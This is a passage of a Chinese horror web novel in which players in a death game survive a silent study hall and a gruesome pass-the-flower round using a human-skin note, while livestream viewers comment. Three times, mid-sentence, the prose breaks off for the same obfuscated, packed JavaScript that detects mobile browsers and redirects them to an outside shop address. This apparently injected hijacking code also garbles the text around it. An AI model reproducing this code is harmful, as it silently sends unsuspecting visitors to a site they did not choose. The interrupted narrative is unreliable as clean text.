他这才将视线移到前排正聚成堆的玩家们的身上，大概七八个人，听他们在劫后余生地讨论： “烧高香了！我......我踏马的居然还活着......” “喂！为什么......你们没有注意到吗！那些刚刚死掉的人......竟然还老老实实地坐在这里！一动不动地......难道说他们还活着？！” “不。他们已经不能称之为‘活着’了。”讲台上传来一道很好听的女声。 方酌言越过一众玩家，半掌抵住下巴去看那名女玩家。 一头齐黑的短发，又拽又冷的一副面孔。她站在讲台上，视线往教室后方一移，正好与方酌言来了个对视，一秒过后又很快移开眼睛，语气平稳地： “在心理学视角，持续性意识丧失，即这种不可逆性的现象，常被视为个体心理层面的‘死亡’。但这与医学上的脑死亡、临床死亡并非完全等同，核心是个体主观体验与心理功能的彻底终止。” “美女，你就不能说简单一点嘛......”底下有个四眼仔听不懂地挠头。 “......”女玩家摊开双手，无奈解释道：“我的意思是，系统已经明确告诉我们‘他们被同化’，那就说明他们肯定是死了的。但是，没说是哪种‘死亡’——意识死亡自然也属于‘死亡’的一种。” 四眼仔的牙打颤颤：“那活下来的身体......” “很显然，「异端」。被同化成功了的无意识「异端」。只是现在还算正常罢了，看起来挺乖挺无害的对吧。”女玩家想了想，又补充了一句：“某种意义上，这个游戏是挺环保的，它循环利用了一下「垃圾」。” 方酌言：“......” 「垃圾」......？或许有些太不尊重那些亡故者了吧。 “对了，忘记说了。”女玩家轻笑着，“我想，目前活下来的，应该都是些‘老人’吧。” 她说的“老人”，指的是游戏里的老玩家。 “相信大家都对「虚无」有所了解。它本就是一种无意义感与存在感的空洞，既可能是意识消散后的终极空白，也可能是当下主观体验到的价值真空。” “而所有「虚无」副本都有一个通病：猜不透的剧情，但又设计在情理之中的走向。” “——「虚无」，是一部饱含哲理的连续剧作。” “咳咳，抱歉，打扰一下。” 范云澜站在教室外，身后还跟着一个人。他敲了两下被魏莎踹得残破不堪的门，然后大跨步式走了进来。当然，前门一直都是敞开着的。 “我说「乌鸦」，你的满腹心理学理论我是真的听着头疼，咱就不能改一改说话方式嘛......” 范云澜后面跟着的人是罗扬。 罗扬嘴里叼着一根中华烟，在进教室之前还特意将烟掐灭，拍拍手，对着那个名为「乌鸦」的女玩家笑道：“怎么样，见到他的第一感觉是什么。” 说完这句话后，罗扬跟范云澜身子一转，望向坐在后排正偷听他们对话的方酌言。 方酌言神情淡漠地回视他们，一副全然无所谓的模样。 「乌鸦」同样也去看方酌言。 良久，她眯了眯眼睛，有些生气地问罗扬：“「烈阳」，告诉我，为什么会把他牵扯进来......你们SFZY又在打什么算盘，就不怕事态失控......” 「烈阳」是罗扬的玩家代号，在游戏里他的等级不算低，是A级玩家。那位「乌鸦」女士跟他一样，也是A级。 罗扬打断「乌鸦」的话：“很遗憾，我们没在打算盘。方大少爷进游戏纯属是意外......” “......” 「乌鸦」气笑地“哈”了一声，对着罗扬翻了个白眼，满脸不相信的模样。接着她看向范云澜，顾不上礼貌地指着罗扬，说：“「白鲨」，你信？” 范云澜露出虎牙，笑道：“这次我中立。” 「乌鸦」不屑地嗤了一声：“你哪次不是站中立！” 范云澜摸了摸脑袋，有些心虚：“啊哈哈哈......” 这时，后门锁舌传来响动。 楼宿雪哼着某首快乐的小曲子，走到自己的座位处，然后坐下，一侧身，看着方酌言。 方酌言也在看他。 “去哪了？”方酌言问。 楼宿雪轻声笑了两下。 方酌言有些不解地说：“你笑什么？” 楼宿雪说：“我只是没想到，你会最先问这个。” “......”方酌言沉静地看着他，等他继续说。 楼宿雪的一只臂肘撑在桌子上，手抵着额头，歪头冲方酌言笑：“我以为，你会想问我一些......其他的问题。不过，也无所谓了。你知道的，我不一定会对你说真话。” 方酌言不耐地皱了下眉头，张了张嘴，却欲言又止。 楼宿雪对方酌言说：“好吧亲爱的，我只能告诉你——「我是人」。至少目前严格意义上来说是这样的。现在回答你问出口的那个问题，”他坐直身子，望向讲台，指向【李华】右护法的位置，只不过现下那里空着没人坐。 方酌言似是有所察觉地问道：“你刚刚莫非是去跟踪NPC了？” 楼宿雪打了个响指：“宾勾，真聪明。猜猜看，我发现了什么。” “我不想猜。” “言言，不想猜没关系，我可以直接告诉你——【李华】去上厕所了。” “......”方酌言颇为无语地：“能少说废话嘛。” 楼宿雪笑嘻嘻道：“忘记加一些定语了。还是重新说吧，女也她的【李华】，去了女厕所。” 方酌言一愣。 ——【李华】，是女生。 【叮噔——叮噔——】 上课铃敲响。 “同学们，上课时间到了！请迅速回到教室，准备上课！” 所有人按部就班地坐好。 如今，整个班级活着的人只剩下11个。 死在里世界内的那群玩家像是电脑中毒死机了般，木讷地低着头看书。 【李华】是掐着上课铃进来的。 她气喘吁吁地坐下，不知道的还以为她下课是去锻炼身体了。 不知是不是方酌言的错觉，自从出了里世界后，他就一直感受到背后有一股强烈的视线凝视着他。 那种感觉......并不像是在副本里出现的。 黑板上突然出现了三个用粉笔写的白色大字：自习课。 紧接着，小字出现：【唯一要遵循的纪律——不许讲话。】 副本既然给出了规则，那么想活着便只有一条路可以走，就是遵守它。 若是同现实里一样的话，这节「自习课」的任务并不难，只要老老实实坐着，待到下课就行了。 可这里不是现实——被同化成异端的玩家宛如一键开机，跟傀儡娃娃般四肢抽动，扭成了诡异的姿势，脖颈无力地下垂歪着，半眯着眼睛，嘴角不合常理地弯到脸颊，极具诡谲地盯着坐在它们周围的玩家。 它们笑着说：“同学，我们来玩游戏吧。” 【支线任务已更新。】 【支线任务三：击鼓传花。】 【任务玩法：以传信小纸条为花，「李华」的转身为鼓。「李华」看书时传花，回头看同学时花在谁手中，谁就要表演节目或接受小惩罚然后下场，直到决胜出最后的赢者。】 【注意！支线任务三奖励丰厚。】 【奖励一：德赛琉丝的心脏（部分）——S级道具，集齐后可锻造神器（锻造神器的基础钢石之一），乃「海洋」神之亲信死去的心脏所化神石。】 【奖励二：一份神秘的武器盲盒——有可能抽出S级武器，也可能抽出F级武器，全靠玩家运气。】 【奖励三：「虚无」神的一份允诺——祂说：“在不违反原则的情况下，吾甚至可以将神位传给汝。当然，这一项肯定是不可能的。”】 【奖励四：副本探索度+10%——并附赠一个带有主线NPC「李华」部分记忆的小瓶，使用后可提高剧情完整度。】 【玩家是否接取支线任务三。】 【是】，【否】 方酌言没有第一时间去做选择。 他先是看了一下其他玩家，但很可惜什么都没有看到，因为自己差点就要被异端们投来的视线给盯瞎了。 教室寂静得要死。 旁边的楼宿雪抬起一根手指直接点在【是】上，连想都没多想。 方酌言其实是不想接的，毕竟他给自己定下的目标只有一个，那就是【活着】。 但很可惜，面板上还有一行小字，只是没有系统播报出来：【若选择「否」，副本将视为玩家「失败」，即为「死亡」。】 方酌言：“......” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159634|196586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给出的选择项有病，副本模式也有病，设计出这个副本的人更是有病。 ——这完全就没得选。 他颇是无奈地点了「是」。 过了几秒，被同化成异端的玩家像是接到了某种指令一样，身体再次抽动，摆正了头，再次低着头看书。 方酌言抬头，望了望前排，发现第一排正靠窗的玩家明显愣住，似乎是见到了某种极为可怕的东西。 方酌言看到了，其他还活着的玩家们也看到了——小纸条并非真的只是一张小纸条，而是一张人皮。 它有着4K纸那么大，最中央露着一个孔——明显是一张肚皮，上面还生着几道清晰可见的妊娠纹。 上面写着一串很是卡通的彩色英文字母： mummy（妈咪）。 所有人都倒吸一口凉气。 显然的已经不能再显然了——这是一张被晒干了的孕晚期女人的肚皮。 那名玩家拿也不是，不拿也不是。 良久，终于抉择出来。他在恶心与活着的渴望里，选择了后者，抬起两根手指将那张人皮捏了起来。 此刻，直播间里的观众可以说是异常兴奋。 【！！！！！！】 【我没听错吧！我没看错吧！这奖励......会是一个小小的支线任务能给出的嘛！这完全要比一个A级副本结算的奖励还要丰厚！】 【前面的，这就是你的孤陋寡闻了。对于正常的副本任务来说，给出这样的奖励确实不符合游戏体系，但「李华的世界」这个B级副本，有两个特殊的点。】 【还请解说大佬赐教！】 【大佬大佬，是什么特殊的地方啊？】 【那我就简单说一下吧。第一个特殊之处，在于「李华的世界」是首次开启的副本，往前并无挑战者，算是测试副本。而测试副本想必大家都知道，它的变数是极大的，十分之八的可能性会提高整个副本等级。也就是说，「李华的世界」将会从B级升级到A级更甚者是S级，所以「虚无」要下放更高等级的奖励，以确保玩家首次测试这个副本的存活率。】 【那第二个特殊之处是什么？】 【我曾经听到的一些小道消息罢了，不知道是不是真的。众所周知，在「命运之轮」里，除了那几位屈指可数的S+级大佬拥有比较高的游戏权限外，便不会再有其他人能够觐见到神们。而那些大佬们早些年曾恩受过十一位至高神的神赐，被称为“神使者”，享尽至高无上的荣耀。】 【“神使者”......这个我听过，传闻S+级的大佬中有的甚至都活了百年之久，又不受游戏强制进入副本的规则，因此几乎不怎么露面。别说开直播了，恐怕走在大街上我都认不出来，存在感很强却又不怎么高......】 【哈哈，说得不错。但说回正题，大多数人不知道的是——曾经有一个玩家，非是“神使者”之一，但却比任何一位“神使者”都要强。不知年龄，不知样貌，甚至不知性别......虽然当年都说那是位男玩家。】 【等等！你不会说的是那位吧！这这这......这都多少年前的事了......】 【——十八年前。当年全服排名第一，同样也是游戏里唯一存在过的SSS级甚至更高级的玩家——「死神」。】 【可是，传闻不都说他失踪了嘛......这再者，与B级副本「李华的世界」又有什么关系？】 【其中的关系可大着呢。「隐秘人」曾经发过一张帖子，说是「虚无」神曾联合其他神围剿过「死神」。而那场战役的最终结果，导致了被围剿的那个副本直接全线崩塌，「死神」出人意料地胜利出逃......后面发生的，就是我们所知道的“失踪”了——而其中，「虚无」得到了「死神」的武器之一，那把名为【断恨】的银光单手剑。】 【有小道消息说，「李华的世界」首次通关的奖励之一，就是那把【断恨】剑。不过具体准不准，我就不清楚了。但看现在的样子......一个小小的支线奖励就这么多，可想而知后面主线的奖励、结算的奖励......也难怪工会这次会派出「乌鸦」、「白鲨」与「烈阳」了。】 【恐怕还不止哦。】 此时，有一条弹幕飘过，文字是定制版极光蓝渐变粉的颜色，字体后面的背景是星光银河。 很快，又出现了这个人的弹幕评论：【作为一个好心人，特此来提醒一下各位。这场副本里，有位“神使者”偷偷地加入了呢——SS级，「米迦勒」。】 直播间的热度瞬间高升。 因为这一条半真半假的消息，一举冲上了「命运」广场的前排。 【！！！】 【我的天！真的假的！保真不保真？！保真的话我可就开盘赌局了！】 【等等——！你们就没有注意到吗？这个账号......点开后居然有、有张黑金王者级别的会员卡！那可是全游戏里有着极高权限的人才能申请的......】 有观众点开了这个账号的主页。 【惊！这个人！也是SS级的大佬！】 极光蓝渐变粉弹幕缓缓飘来： 【_(:з」∠)_】 【许久未登号了。为防止有人以为我已经“死”了，特意冒个泡来证明一下我还活着。】 在他的主页账号里，头像是极具漂亮的星空，旁边的黄V大标亮的能直接闪瞎人的眼： ——神使者之一，SS级玩家，「乌拉诺斯」。 8. 李华的世界 副本里，声音全无。 尚且还活着的十多位玩家正抬着头，眼睛死死盯着黑板： 【击鼓传花游戏准备。】 【3】——【2】——【1】——【0】 【游戏开始！】 拿着人皮的那名玩家紧张地吞了吞口水，手心满满都是汗。 在系统说完【游戏开始】的下一秒，他飞快地将手中之物抛给了同桌，生怕【李华】来个急促大转头，来要他的小命。 抛东西的时候，他连头都没有转，因为同桌是上一个任务被同化的「异端」，他不敢去看人家。 “桀桀桀~”同桌发出来反派般的笑声，然后心情好似很是愉快地抓起那张人皮，抛给后桌的「异端」。 后桌也发出了诡异地“桀桀桀”声，紧接着传给下一个「异端」，然后教室里再次出现了一次“桀桀桀”......这中间李华没有回过头，直到传到了第二位活人玩家那里，【李华】的头扭了扭，打了个哈欠，无意识地往后瞥了一眼，正对这位玩家。 【玩家2513690，游戏失败。】 【惩罚二选一：唱歌or跳舞】 【指定唱歌选项——《小星星》】 【指定舞蹈选项——《开心超人》】 2513690是一位女性玩家，在听到【游戏失败】的那一刻，她的心瞬间跌落谷底，求生的意志几近占满了她的脑海。 可在见到这两个惩罚选项的时候，又突然感到庆幸，颇为开心地将手朝着选项一那边一移。 《开心超人》的舞蹈她不会，可她会唱《小星星》啊！她觉得，只要接受过幼儿园的教育，就没人不会唱。 ......这还不简单的。 于是，她果断地伸出食指，点在了「唱歌」上。 【玩家2513690，惩罚开始——】 其他几位玩家沉静地听着系统的播报，表情可谓是写尽了酸甜苦辣咸——这源于他们想要开口提醒这位女玩家，却不得开口的原因。 方酌言看着这位正沉溺在自己世界里的女玩家，拧着眉，心道“完了”。 女玩家百灵鸟一样展示自己的歌喉 ，柔柔的声音唱出的歌舒缓怡人： “一闪一闪亮晶晶，满天都是小星星，挂在天上放光明，好像许多小眼睛。一闪一闪亮晶晶，满天都是小星星......” “......” 除了她的歌声以外，无人出声。 右护法【李华】像是没有听到这歌声一样，继续低头刷着某个科目的高考题——实际上，【李华】确实听不到。 在【李华】的世界中，教室后边的同学们都是正常的，全班人都在沉浸式刷题。 但玩家们就不一样了。 有的冷眼旁观，对即将发出的暴力血腥画面已经有了极大的免疫力；有的胆战心惊，显然还没练成那个钢铁胆子；还有的懒散地不要不要，手臂蒙住头小眯片刻......那个人就是楼宿雪。 就在歌声停止的那一刻，女玩家突然身体一顿，嘴角上扬而起的笑容也蓦然止住。 人皮上的“mummy”化成了实体字母。血红色的，流动性的，细看起来还能发现它们如活体一样跳动。 在女玩家恐惧无措又极其不解的目光下，“mummy”字母闯进了她的嘴里。 视觉冲击很大，“m”与“y”一个撑着上唇，一个撑着下唇，两只手拳起来那般大的厚度，就这样撕裂了那张红唇。 当“mummy”探进女玩家身体后，如巨型寄生虫一般在她身体里涌动，撑爆血管，啃咬内脏，沿着颈部进入大脑...... 疼痛，吼叫......耳边只剩下女玩家嘶哑的声音，与方才动人的歌声形成了强烈的对比。 直到最后一刻，女玩家都没有想清楚——明明自己已经接受了「惩罚」，并从中完成了选项之一的「唱歌」，为什么还是要死？！ 我不想死！我不要死！自己到底哪里做得不对...... 人死之际，大脑的运动并不会直接停滞。 脑海中开始走马观花，记忆的长河往回倒流。 她好像想起来了： 【自习课唯一要遵循的纪律——不许讲话。】 「唱歌」，是要用嘴唱的。 ......它算是讲话的一种。 ——这道题对她来说，本就是无解的，是必死无疑的。 女玩家的身体以肉眼可见的速度，被一串字母吞噬殆尽，成了一副空壳。 “mummy”没有回到人皮上，而是消失了。 当着众人的面，进入了【李华】的脑袋里——宛如学生背单词般，背完后永久地封存在记忆里。 只不过现在的场景，是由抽象的事物转为了实体的场景。 【副本数据更新。】 【玩家剩余人数：10】 血腥的小插曲结束了，但击鼓传花的游戏却没有结束。 此时，那张人皮上出现了一个新的单词：blaze（烈火）。 ——炽热、猛烈。 如果说“mummy”是亲昵地回到母亲的身边，去感受这份亲情——母爱。以至于过分地吞噬掉母亲。 那么，“blaze”将是熊熊烈火焚以己身。 谁也不知道，下一个受到「惩罚」的人将会是谁，自然也不清楚「惩罚」的内容是否是一样的。 任务里说【直到决胜出最后的赢者】——若是一直没有决胜出来，在座所有人岂不是都要被困在这里了...... 方酌言闭了闭眼，甫一抬眼睛望着讲台旁边的【李华】。 他在想，想要快速结束游戏，最为速通版的玩法就是让【李华】每次在“花”传到玩家手上时，回头。 然后玩家接受「惩罚」，并完成它或是不完成它......所以本质上「惩罚」完成与否并不影响玩家的个体利益，因为一旦出现「惩罚」，就意味着这个玩家击鼓传花的失败。 ——失败，即为游戏的除名。 只不过，完成「惩罚」能活着，完不成则只能被动地接受死亡。 最坏的情况，就是支线任务三只能活下来一个人——最后的赢者。 当然，方酌言不只想到了这一个结束击鼓传花的方法。 既然这场任务的唯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159635|196586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一准则是【不许讲话】，那么限制【不许说话】的硬性条件是什么呢——在教室里。 那倘若不在教室里呢。 即不在教室里上这该死的【自习课】，便不再受硬性条件的制约。 则教室外可以【讲话】。 这算是任务里的一些漏洞。 也正是漏洞的出现，才能给出玩家过关的一线生机。 ......除非设计出的这些游戏，本来就没想过让任何一个人活下去。 其实，这两种想法都有许多的不确定性。 第一种，「惩罚」会死的概率很大。 第二种，上课期间一般是不允许出教室的——出了教室说不准会有很多的不确定事物，在等着他们去自投罗网。 而且......若是选择后者，支线任务三很可能视为「失败」，因为那已经不在击鼓传花游戏的场景里了。 保守起见，方酌言打算再等一等。 命是最为宝贵的东西。 在确保自身能活着的情况下，他才会选择去搏一搏任务给出的【丰厚奖励】。 毕竟，这世上没人会不想得到些好处。 身侧有衣服的摩擦声。 楼宿雪抬起头，睡眼惺忪地揉揉眼睛，旋即看向方酌言，唇角一勾，无声地笑了一下。 方酌言有些好奇，他总感觉楼宿雪很疲惫，是进副本之前就没休息好吗......算了，待这个副本结束后，他跟楼宿雪大概也不会有什么交集了，自己管这么多干什么。 方酌言移开视线，去追寻“花”的位置。 很巧合的，“花”传到了前桌，紧接着前桌「异端」回过头，将人皮亲手递向方酌言。 方酌言低头看着「异端」手里的人皮，接过它——下一刻，并不出人意料地耍赖情景出现了。 那已经不能称之为讨人厌行为了——「异端」紧紧拽着人皮，它既不松手，也不彻底抽回，以某种精妙的力度平衡住与方酌言所用出的力度，陷入僵持。 方酌言不耐烦地眯起眼睛。 哈......他有想过这种情况会出现，但没想到被选中的倒霉蛋会是他自己。 方酌言抬眼瞥了瞥前方的【李华】，发现对方正舒心地伸着懒腰，身体小幅度缓缓扭动。 用脚指头想都能想出来，【李华】有着十分之十二分的可能性回头。 ......本来就因为手套坏了烦得要死，现在副本还偏要再得寸进尺。 方酌言有一种微妙的感觉，他觉得背后一定有什么东西在试探他的耐心——恶劣的，戏谑的，又极其有目的性的。 这次，方酌言没等任何人的动作，手上力度率先加重，紧接着无比迅速地一松手。 结果就是，「异端」受力学作用，先是愣住前倾，又反应不过来地往后倒去。 屁股下的板凳随动作的摆动，连人带凳的“碰咚”一声猛地倒了下去，就连前方的桌子都受到了一定的影响，七歪八扭着。 人皮被「异端」紧紧攥住，【李华】再一次无意识地扭来了头——单词“blaze”化为实体，引火上身，炽烈地燃烧了这个使坏的「异端」。 9. 李华的世界 只有前桌「异端」受伤的世界达成了。 它对这个世界做出的贡献只有两件事情——留下了一地的灰渣渣，以及一张刚换了单词的人皮。 新单词：victory（胜利）。 ——赢者，荣誉。 人皮自己飞到了方酌言的桌子上。 方酌言一时想不出来，“victory”的「惩罚」方式会是什么。 前两个单词还能有一定依据去猜想，不至于完全无厘头，可“victory”这个单词......难不成是影响精神方面的「惩罚」吗？ 击鼓传花的游戏重新开始。 黑板上有数字在舞动：【3】——【2】——【1】——【0】 【游戏开始！】 方酌言将人皮递给楼宿雪，楼宿雪笑着接过，然后传给后面的「异端」，「异端」再递给罗扬...... 良久都没有听到动作的声音，方酌言蹙着眉回头去看罗扬。 身后哪里还有什么人，罗扬他人早就从后门钻了出去。留下的是，桌子上正摆着的一张人皮......以及一个迷你版罗扬长相的陶瓷娃娃。 【检测到支线任务三受到微小变动。】 【玩家「烈阳」主动放弃此任务，支线任务三失败，「惩罚」下达为「死亡」。】 系统冰冷的电子音短暂停顿并“滋啦”了一下： 【检测到玩家「烈阳」使用了“陶瓷娃娃（A级替身道具）”，替身成功。】 【道具“陶瓷娃娃”已失效，支线任务三「惩罚」完成。】 只见桌上的迷你版瓷娃娃“咔呲”一声，生出一道长长的裂纹，随后没有受到外力控制地整个碎裂，砸到桌子上。 同一时间，系统机器的电子音播到： 【玩家留言——抱歉各位，本人的身体实在是不争气，突然就闹肚子了，再三思考解决生理需求才是最要紧的嘻嘻。当然，这不是我唯一“逃课”的目的。】 “......” 方酌言没眼看地转过头。 对于罗扬的其他目的，方酌言并不关心。他只知道，自己所猜想的第二种结束游戏的方法，在没有其他道具的加持下，是不会健全「出教室」的。 ......看起来，只能走第一种方法了。包括方酌言他自己，在余下的九位玩家里，决胜出最后的「赢者」，才能停止击鼓传花的游戏。 人皮消失在罗扬的桌子上，下一刻又出现在第一排的那张桌子上。 黑板上游戏倒计时在跳动，抨击着那名玩家的心。 本以为自己是第一个，身为“鼓”的【李华】不会正正好好地回头，没想到......在黑板上出现【0】的那一瞬间，【李华】扭头了。 由于视觉夹角的不同，右边靠门的几位玩家此时是看不到【李华】神情的。但左边靠窗的，尤其是这位玩家，可谓是正对着【李华】看的。 ——【李华】冲他笑了笑，柔柔地那种，其中掺杂着一丝难以说清楚的怪异感。 【李华】回眸一笑，就这样对上了那位玩家的视线。 早于震惊表情的，是人皮上的一串字母飘了起来。 可就在“victory”即将要触碰到那名玩家的时候，旁边陡然飞来了一只绿色的人字拖，带着略微酸爽的味道，硬生生地将“victory”拍出十万八千米远。 人字拖有着不符合物理学的强大吸力，死死地把“victory”钉在了窗户上。 【玩家「？？？」（匿名ing），已使用A级道具“杂牌人字拖”。】 【道具类型：攻击类，功能类「可穿戴」】 【道具来源：S级副本「杜甫的茅草屋」。】 方酌言看向扔拖鞋的那位匿名玩家。 相貌平平。大众性的眼睛，大众性的鼻子，大众性的嘴巴......正如系统说出的“匿名”，这个人真实的样貌恐怕也被系统“匿名”了。 方酌言的视线再次移动，重新望向靠窗的第一排。“victory”在绿色人字拖的挤压下，没一会儿分解成暗黄色小渣渣一点点消散。 第一排的那名玩家死里逃生，对着匿名玩家发出万分感激的目光，眼眶红润。要不是惜命不敢随意走动，恐怕他现在已经给人家跪地磕响头了。 反观匿名玩家，一手撑着脸，正百无聊赖地用另一只手玩弄着桌上的黑色中性笔。 中性笔受他动作的影响，快速地穿梭在五指之间，不久后“啪嗒”一声，中性笔不小心掉了。 匿名玩家打了个无声的哈欠，眼睛一抬，这才瞥向靠窗第一排。男人犀利的眼神盯向绿色人字拖，在“victory”消失殆尽的那一刻，人字拖“啪呲”地落到了地上。 紧接着，桌上的人皮重新出现了一个新的单词： study（学习）。 ——掌握技能。 方酌言拧了下眉。 又是一个不好猜测的单词「惩罚」。 在方酌言思忖之时，身旁的楼宿雪跟中间第五排坐着范云澜正在用眼睛交流。 两人挤巴眼，甫一不知道讨论到什么，导致楼宿雪无声地轻笑了一下，那边范云澜做了一个“OK”的手势后，旋即回过头，在纸上写了几句话递给了他旁边的「乌鸦」。 楼宿雪也在纸上写了话，让方酌言看。 方酌言不解地接过纸，低头一看，就是一摊的狗爬字体。歪歪扭扭，“一”字都能写成“~”，好在所有字串联起来还是能勉勉强强看懂的。 楼宿雪写道——言言，你想要这个任务的奖励吗？我可以帮你啊。 方酌言：“......” 他抬头看着楼宿雪，眉头又拧紧了几分，他的表情像是在说“谢谢，但婉拒”。 正常人认知下，怎么会无缘无故去帮一个陌生人，又怎么会如此信任地去接受那个帮助......总之方酌言是不会的，他还算正常一点。 ——可楼宿雪不是正常人。 接触下来，方酌言越发觉得楼宿雪奇怪。 首先，这个人不畏惧死亡。 其次，楼宿雪好像对自己有着某种另类的情感。具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159636|196586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体的说不上来，方酌言也只是感觉，但那丝感觉明明近在眼前，却怎么都抓不到。 最后，方酌言发现，在光源的影响下，旁边桌子上......本应该是人类的影子，此时却是几根不大不小、不粗也不细的条形物体的影子。 条形物体......其实说是触手更为准确。在方酌言的视角中，几根触手十分雀跃地在舞动，很像是在跟他打招呼。 方酌言最初以为是自己眼花出现幻觉了，但很快他就意识到，自己如今是在一个恐怖游戏的副本里，出现一些BOSS再正常不过。 可那影子......着实不像是从天花板上投来的影子，当然也不像是那些「异端」会投射出来的。 ——依它的变动角度，分明是随着楼宿雪的动作而改变的！ “......” 方酌言少见地被震惊到了。 他沉静地瞪着楼宿雪，依旧面无表情着，只不过眉头往下倒竖了几分，可以说是微乎其微。 ——这仅仅是表面罢了。 旁人不晓得的是，此时方酌言的后背直冒冷汗，手紧紧拳住掐得指尖发白。 说来他并不害怕那些长相可怖的异端，现实生活中也并不是没有接触过比它更为恐怖的东西......方酌言没有怕那道影子，他只是想知道——对方为什么要接近自己。 只要不是傻子应该都能看出来吧......楼宿雪从一开始就对自己持有“保护”的态度。 其实，最能体现出对方非人一面的，就是在「归寂之手」的技能下——楼宿雪还能活着。 但楼宿雪说过，「他是人」。 嗯......至少目前是。 ——现在看到的他，也的确是“人”的模样。 方酌言的脑袋急速运转中—— 楼宿雪半眯着眼，唇角往上轻微一挑。在探究方酌言神情的过程中，似乎是突然意识到了什么一样，表情停滞了半秒。 只有楼宿雪自己清楚，方才还疯狂鼓动地胸口，此刻已经被自己强制性地压制了下去。 然后......方酌言就眼睁睁地看到了，触手形状的影子被一瞬间地收进了楼宿雪的身体里，再一眨眼间，正常人类的影子出现了。 整个过程，方酌言是偷瞄的。 而在楼宿雪的视角中，方酌言不过是在思考着某些事情而已，甚至单方面去庆幸：还好方酌言没有看到“影子”。 各有心思，各不知晓。 方酌言见楼苏雪有些心虚的模样，当即就反应过来，对方大抵还不知道“影子”被看到了一事。 于是，他决定装作不知情，就当作刚刚出现了幻觉。 方酌言有预感，摊牌之日一定会发生不利于自己的事情。 方酌言拿起自己桌子上的黑色笔，接着抬眼看了一下旁边满含笑意的楼宿雪，心下蓦然一颤。 旋即抬抬手，在纸上写下了五个字。 楼宿雪平静地看着那张纸，上面新写着： 我只想活着。 ——活着，才是拥有一切的初始。 10. 李华的世界 没过多久，第二回合的“花”再次传到方酌言的手中。 这一次，他平安无事。 转而将人皮递给了楼宿雪。 楼宿雪没有迅速传给后边的「异端」，他玩闹般甩了甩这张人皮，使的劲不算小。 不知是不是方酌言的错觉，就在楼宿雪接手的那一瞬间，人皮上标着的卡通“study”宛如受了惊的小鹿，极其短暂地扭曲了一下，却又很快恢复正常，老老实实地附着在人皮上。 方酌言甚至能听到一声细微的“嘤~”。 “嘤”完之后，楼宿雪似是心满意足，这才丢给了后边。 察觉到方酌言的视线，楼宿雪冲他笑了笑。 “......”方酌言扭头，不再看他。 黑板上数字开始变动，那是击鼓传花第三轮的倒计时。 这一次，人皮出现在第一排玩家身旁的「异端」的桌子上。因为第二轮时，那名玩家已经「失败」，正如第一轮罗扬的「失败」一样，受了「惩罚」，但都巧妙地化解了这个必死条件。 ......至于为什么方酌言没受「惩罚」——那是因为受“blaze”「惩罚」的本就不是他，是前面已经烧成灰灰的「异端」。 也就是说，虽然此时还有10名玩家存活，但在支线任务三里要决胜出“赢者”的，是包括他在内的8个人。 没人会轻易放弃那份高额的奖励。 时间过得越来越快，新一轮传“花”的速度明显在「异端」的手中加速。 而当“花”传到玩家手中时，“鼓”转头的几率也加快了。 第三轮，就像是开了游戏2倍速一样——受到「惩罚」的玩家一下子出现5个。 其中就有「乌鸦」跟「白鲨」范云澜。 这5个人中，除了范云澜的等级是S级外，其他的玩家不是B级就是A级，都有自己的保命手段。 人皮上的“study”，几经更迭单词内容。在第四轮开始之初，她纵身跃起粘在黑板上，“pipe dream”这一单词随之出现。 ——美梦。 ——白日梦，不切实际的幻想，难以实现的一场美梦。 玩家面板自动跳出，系统电子音配着可爱的简笔画图片，一幅一幅地跳转： 【「李华」同学一直有个小小的疑问，她久久将其憋在心里，控制不住地抓耳挠腮......终于有一天，神们聆听到她的痛苦，决定莅临于她的世界，去拯救这个可怜的孩子。在觐见神圣的「祂」之际，「李华」不失时机地问出了那个百思不得其解的问题——】 ——【「美梦」，究竟意味着什么？】 【掌管「童话」的神明对她说：美梦是人类潜意识的美好投射，是对现实的温柔补偿，也是内心渴望的隐性表达。它是未实现的期待，也是疲惫生活里的精神慰藉，更是潜意识对自我的鼓励或愿望的隐喻。】 【祂思忖地笑着：正如童话故事里的主角一样——人人都在做着超甜心的美梦，可人人又都身处在虚假的「童话」里。】 【掌管「金钱」的神明对她说：物质是由金钱掌控的，拥有了金钱，你就相当于拥有了全世界——「美梦」便轻而易举地达到了。】 【「欢愉」说：吾即为「美梦」！信仰吾即是获得无尽的「美梦」！】 ............ 【「祂」们都很热情地回答「李华的问题」，可这些答案，没一个是「李华」真正想要的——直到懒散的「虚无」出面了。】 【祂说——只要汝有勇气去追求，所有的「美梦」，都能实现。】 【「李华」一听，双目放光，在十一位至高神明的审视之下，坚定地走到「虚无」的身边。】 【掌管「虚无」的神明应允她——「一切的美梦，都将献给勇敢的你」。】 